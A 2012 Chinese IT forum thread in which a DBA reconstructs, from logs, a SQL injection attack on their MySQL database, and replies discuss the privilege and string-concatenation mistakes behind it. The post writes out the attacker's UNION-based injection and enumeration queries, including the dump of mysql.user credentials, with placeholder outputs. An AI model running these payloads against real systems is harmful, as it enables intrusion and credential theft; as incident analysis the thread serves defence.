ITPUB论坛-中国专业的IT技术社区

 找回密码
 注册
查看: 12453|回复: 15

[精华] 记一次SQL注入事件(T T )

[复制链接]
论坛徽章:
10
2011新春纪念徽章
日期:2011-02-18 11:43:362013年新春福章
日期:2013-02-25 14:51:24ITPUB 11周年纪念徽章
日期:2012-10-09 18:08:15双黄蛋
日期:2012-04-18 13:03:23蛋疼蛋
日期:2012-02-14 09:01:14复活蛋
日期:2012-02-01 10:04:16双黄蛋
日期:2012-01-16 14:47:262012新春纪念徽章
日期:2012-01-04 11:53:29ITPUB十周年纪念徽章
日期:2011-11-01 16:23:26优秀写手
日期:2013-12-18 09:29:12
跳转到指定楼层
1#
发表于 2012-3-22 16:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
昨天DB连续宕机,从慢查询日志中分析可以得到

  1. select c.A as A,c.B as B,c.C as C,c.D as D,c.E as E,c.F as F,c.G as G,c.H as H,c.I as I ,c.J as J from table1 as c, table2 as d
  2. where d.pid=c.id and d.id =999999.9 union all select ( eval query ) ,0x31303235343830303536,0x31303235343830303536,
  3. 0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x31303235343830303536,0x313032353438303035366-- and d.status=1 and c.status=1 limit 0,1;
复制代码


而正常的查询应该是

  1. select c.A as A,c.B as B,c.C as C,c.D as D,c.E as E,c.F as F,c.G as G,c.H as H,c.I as I ,c.J as J from table1 as c, table2 as d
  2. where d.pid=c.id and d.id = N and d.status=1 and c.status=1 limit 0,1;
复制代码


攻击的代码为 eval query ,而后面的0x31303235343830303536纯粹为填充,不然DB会报两边union不一致的错误

从web日志可以追踪到攻击者的行为
攻击者首先定位攻击目标sql的结果集column数,由纯粹的填充字节很容易定位到结果集的column数目
接着发送

  1. mysql> select concat(0x7e,0x27,0x7233646D3076335F68766A5F696E6A656374696F6E,0x27,0x7e) from dual;
  2. +--------------------------------------------------------------------------+
  3. | concat(0x7e,0x27,0x7233646D3076335F68766A5F696E6A656374696F6E,0x27,0x7e) |
  4. +--------------------------------------------------------------------------+
  5. | ~'r3dm0v3_hvj_injection'~                                                |
  6. +--------------------------------------------------------------------------+
复制代码

然后这货开始查当前数据库

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e) from dual;
  2. +------------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e) |
  4. +------------------------------------------------------------------+
  5. | ~'victim_db'~                                                     |
  6. +------------------------------------------------------------------+
复制代码


开始获取当前用户

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(user() as char))),0x27,0x7e) from dual;
  2. +--------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(user() as char))),0x27,0x7e) |
  4. +--------------------------------------------------------------+
  5. | ~'poorman@somewhere'~                                           |
  6. +--------------------------------------------------------------+
复制代码

查哥用的版本

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(version() as char))),0x27,0x7e);
  2. +-----------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(version() as char))),0x27,0x7e) |
  4. +-----------------------------------------------------------------+
  5. | ~'MySQL-7.0-super'~                                               |
  6. +-----------------------------------------------------------------+
复制代码

查系统用户

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(system_user() as char))),0x27,0x7e);
  2. +---------------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(system_user() as char))),0x27,0x7e) |
  4. +---------------------------------------------------------------------+
  5. | ~'poorman@somewhere'~                                                  |
  6. +---------------------------------------------------------------------+
复制代码

得到主机名

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(@@hostname as char))),0x27,0x7e);
  2. +------------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(@@hostname as char))),0x27,0x7e) |
  4. +------------------------------------------------------------------+
  5. | ~'poormans host'~                                                 |
  6. +------------------------------------------------------------------+
  7. 1 row in set (0.00 sec)
复制代码

继续收集基本信息

  1. mysql> select concat(0x7e,0x27,unhex(Hex(cast(@@basedir as char))),0x27,0x7e);
  2. +-----------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(@@basedir as char))),0x27,0x7e) |
  4. +-----------------------------------------------------------------+
  5. | ~'poormans dir'~                                                        |
  6. +-----------------------------------------------------------------+
复制代码

接着悲剧

  1. mysql> select (select concat(0x7e,0x27,unhex(Hex(cast(user as char))),0x3a,unhex(Hex(cast(password as char))),0x3a,unhex(Hex(cast(host as char))),0x27,0x7e) from mysql.user limit N,1);


  2. +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
  3. | (select concat(0x7e,0x27,unhex(Hex(cast(user as char))),0x3a,unhex(Hex(cast(password as char))),0x3a,unhex(Hex(cast(host as char))),0x27,0x7e) from mysql.user limit 0,1) |
  4. +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
  5. | ~'allpeople@anywhere'~                                                                                                                                                       |
  6. +---------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
复制代码

抄哥老底了

  1. mysql> select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit N,1;

  2. +-------------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) |
  4. +-------------------------------------------------------------------+
  5. | ~'all_database'~                                                  |
  6. +-------------------------------------------------------------------+


  7. mysql> select concat(0x7e,0x27,count(table_name),0x27,0x7e) from `information_schema`.tables where table_schema='every schema';
  8. +-----------------------------------------------+
  9. | concat(0x7e,0x27,count(table_name),0x27,0x7e) |
  10. +-----------------------------------------------+
  11. | ~'T T'~                                        |
  12. +-----------------------------------------------+

  13. mysql> select concat(0x7e,0x27,unhex(Hex(cast(group_concat(table_name) as char))),0x27,0x7e) from `information_schema`.tables where table_schema='every schema';
  14. ...................
复制代码

然后探索目标的具体column数

  1. mysql> select concat(0x7e,0x27,count(column_name),0x27,0x7e) from `information_schema`.columns where table_schema='target schema' and table_name='target table';
  2. +------------------------------------------------+
  3. | concat(0x7e,0x27,count(column_name),0x27,0x7e) |
  4. +------------------------------------------------+
  5. | ~'凸'~                                         |
  6. +------------------------------------------------+
复制代码

探索名字

  1. mysql> select distinct concat(0x7e,0x27,unhex(Hex(cast(column_name as char))),0x27,0x7e) from `information_schema`.columns where table_schema='target_schema' and table_name='target_table' limit N,1;
  2. +-------------------------------------------------------------------+
  3. | concat(0x7e,0x27,unhex(Hex(cast(column_name as char))),0x27,0x7e) |
  4. +-------------------------------------------------------------------+
  5. | ~'凸 凸'~                                                            |
  6. +-------------------------------------------------------------------+
复制代码

谁叫你名字取得好呢 ,可怜哪~~

  1. mysql> select concat(0x7e,0x27,count(*),0x27,0x7e) from poormansdb.poormans_client_admin;
  2. +--------------------------------------+
  3. | concat(0x7e,0x27,count(*),0x27,0x7e) |
  4. +--------------------------------------+
  5. | ~'no client yet'~                                |
  6. +--------------------------------------+
复制代码

总之,哥的老底被掀了个底朝天 T T,起因是程序猿未对输入数据进行校验而直接粘贴为sql语句,所以教训是,千万别在各网站填写详细的信息。越详细,你自己的风险就越大,很多泄密事件不是被暴露,而是被掩盖了起来
说不定你的什么密码手机号都卖给了别人,你还不知道



论坛徽章:
52
2015年新春福章
日期:2015-03-06 11:57:312012新春纪念徽章
日期:2012-02-13 15:12:252012新春纪念徽章
日期:2012-02-13 15:12:25生肖徽章2007版:龙
日期:2012-02-07 10:33:22生肖徽章2007版:龙
日期:2012-02-07 10:33:22生肖徽章2007版:龙
日期:2012-02-07 10:33:22生肖徽章2007版:龙
日期:2012-02-07 10:33:22生肖徽章2007版:龙
日期:2012-02-07 10:33:22生肖徽章2007版:龙
日期:2012-02-07 10:32:552012新春纪念徽章
日期:2012-02-07 09:59:35
2#
发表于 2012-3-22 19:19 | 只看该作者
这个SQL注入的案例分析的好!!! 给你加精华

不过他不应该有访问系统表的权限...

使用道具 举报

回复
论坛徽章:
11
鲜花蛋
日期:2011-09-03 18:52:38鲜花蛋
日期:2011-11-09 10:10:12茶鸡蛋
日期:2011-11-19 22:46:41茶鸡蛋
日期:2011-12-14 15:16:572012新春纪念徽章
日期:2012-01-04 11:57:56奥运会纪念徽章:赛艇
日期:2012-09-26 21:40:11ITPUB 11周年纪念徽章
日期:2012-10-09 18:16:002013年新春福章
日期:2013-02-25 14:51:24
3#
发表于 2012-3-22 19:22 | 只看该作者
嗯  真搞不懂你们的权限是怎么分配的,应用过来的查询竟然连系统库都能查到。。。  

使用道具 举报

回复
论坛徽章:
10
2011新春纪念徽章
日期:2011-02-18 11:43:362013年新春福章
日期:2013-02-25 14:51:24ITPUB 11周年纪念徽章
日期:2012-10-09 18:08:15双黄蛋
日期:2012-04-18 13:03:23蛋疼蛋
日期:2012-02-14 09:01:14复活蛋
日期:2012-02-01 10:04:16双黄蛋
日期:2012-01-16 14:47:262012新春纪念徽章
日期:2012-01-04 11:53:29ITPUB十周年纪念徽章
日期:2011-11-01 16:23:26优秀写手
日期:2013-12-18 09:29:12
4#
 楼主| 发表于 2012-3-22 19:25 | 只看该作者
icer_repls 发表于 2012-3-22 19:22
嗯  真搞不懂你们的权限是怎么分配的,应用过来的查询竟然连系统库都能查到。。。

以前的老项目数据库,权限比较混乱

使用道具 举报

回复
论坛徽章:
56
2010年世界杯参赛球队:瑞士
日期:2010-02-26 11:04:012012新春纪念徽章
日期:2012-02-13 15:09:232012新春纪念徽章
日期:2012-02-13 15:09:232012新春纪念徽章
日期:2012-02-13 15:09:232012新春纪念徽章
日期:2012-02-13 15:09:232012新春纪念徽章
日期:2012-02-13 15:09:23版主2段
日期:2012-05-31 02:10:00版主2段
日期:2012-05-31 02:10:00ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:07现任管理团队成员
日期:2012-10-18 18:22:36
5#
发表于 2012-3-22 20:37 | 只看该作者
直接在程序里以string形式拼接的sql语句吧

使用道具 举报

回复
论坛徽章:
3
ITPUB十周年纪念徽章
日期:2011-11-01 16:23:262012新春纪念徽章
日期:2012-01-04 11:53:29蜘蛛蛋
日期:2012-03-09 15:07:54
6#
发表于 2012-3-22 21:50 | 只看该作者
mark一下,明天好好看

使用道具 举报

回复
论坛徽章:
14
2011新春纪念徽章
日期:2011-04-02 17:01:062013年新春福章
日期:2013-02-25 14:51:24复活蛋
日期:2012-12-06 19:27:46ITPUB 11周年纪念徽章
日期:2012-10-09 18:16:00ITPUB 11周年纪念徽章
日期:2012-09-28 17:34:42紫蛋头
日期:2012-03-13 16:37:18灰彻蛋
日期:2012-02-06 14:20:122012新春纪念徽章
日期:2012-01-04 11:57:56灰彻蛋
日期:2011-12-26 14:20:13茶鸡蛋
日期:2011-12-20 15:00:13
7#
发表于 2012-3-22 22:45 | 只看该作者
顶个,对程序的数据库账号必须严谨啊

使用道具 举报

回复
论坛徽章:
46
凯迪拉克
日期:2013-08-22 10:00:10Jeep
日期:2013-08-10 07:21:13ITPUB社区12周年站庆徽章
日期:2013-10-08 14:57:28ITPUB十周年纪念徽章
日期:2011-11-01 16:20:282012新春纪念徽章
日期:2012-01-04 11:49:54ITPUB 11周年纪念徽章
日期:2012-10-09 18:05:07奥运会纪念徽章:体操
日期:2008-10-24 13:08:31会员2007贡献徽章
日期:2007-09-26 18:42:10马上加薪
日期:2014-04-11 09:34:11秀才
日期:2015-09-06 10:19:32
8#
发表于 2012-3-23 08:31 | 只看该作者
一般程序员都不用绑定变量的。

这也可以算是程序员的一个教训。

使用道具 举报

回复
论坛徽章:
3
ITPUB 11周年纪念徽章
日期:2012-10-09 18:08:152014年新春福章
日期:2014-02-18 16:42:02马上有房
日期:2014-02-18 16:42:02
9#
发表于 2012-3-23 09:10 | 只看该作者
加强验证外,还是少用拼接SQL吧。

使用道具 举报

回复
论坛徽章:
8
2009日食纪念
日期:2009-07-22 09:30:002010年世界杯参赛球队:巴拉圭
日期:2010-08-31 10:49:49ITPUB9周年纪念徽章
日期:2010-10-08 09:31:222010广州亚运会纪念徽章:射箭
日期:2010-11-11 10:15:282010广州亚运会纪念徽章:羽毛球
日期:2010-11-11 10:15:332010广州亚运会纪念徽章:马术
日期:2010-11-11 10:15:40蜘蛛蛋
日期:2011-12-27 15:41:052012新春纪念徽章
日期:2012-01-04 11:54:26
10#
发表于 2012-3-23 14:25 | 只看该作者
应用层访问全部通过存储过程调用,貌似可以降低注入风险,个人理解

使用道具 举报

回复

您需要登录后才可以回帖 登录 | 注册

本版积分规则

TOP技术积分榜 社区积分榜 徽章 电子杂志 团队 统计 虎吧 老博客 知识索引树 读书频道 积分竞拍 文本模式 帮助
  ITPUB首页 | ITPUB论坛 | 数据库技术 | 企业信息化 | 开发技术 | 微软技术 | 软件工程与项目管理 | IBM技术园地 | 行业纵向讨论 | IT招聘 | IT文档 | IT博客
  ChinaUnix | ChinaUnix博客 | ChinaUnix论坛 | SAP ERP系统
CopyRight 1999-2011 itpub.net All Right Reserved. 北京盛拓优讯信息技术有限公司版权所有 联系我们 网站律师 隐私政策 知识产权声明
京ICP备16024965号 北京市公安局海淀分局网监中心备案编号:11010802021510 广播电视节目制作经营许可证:编号(京)字第1149号
  
快速回复 返回顶部 返回列表
http://www.vxiaotou.com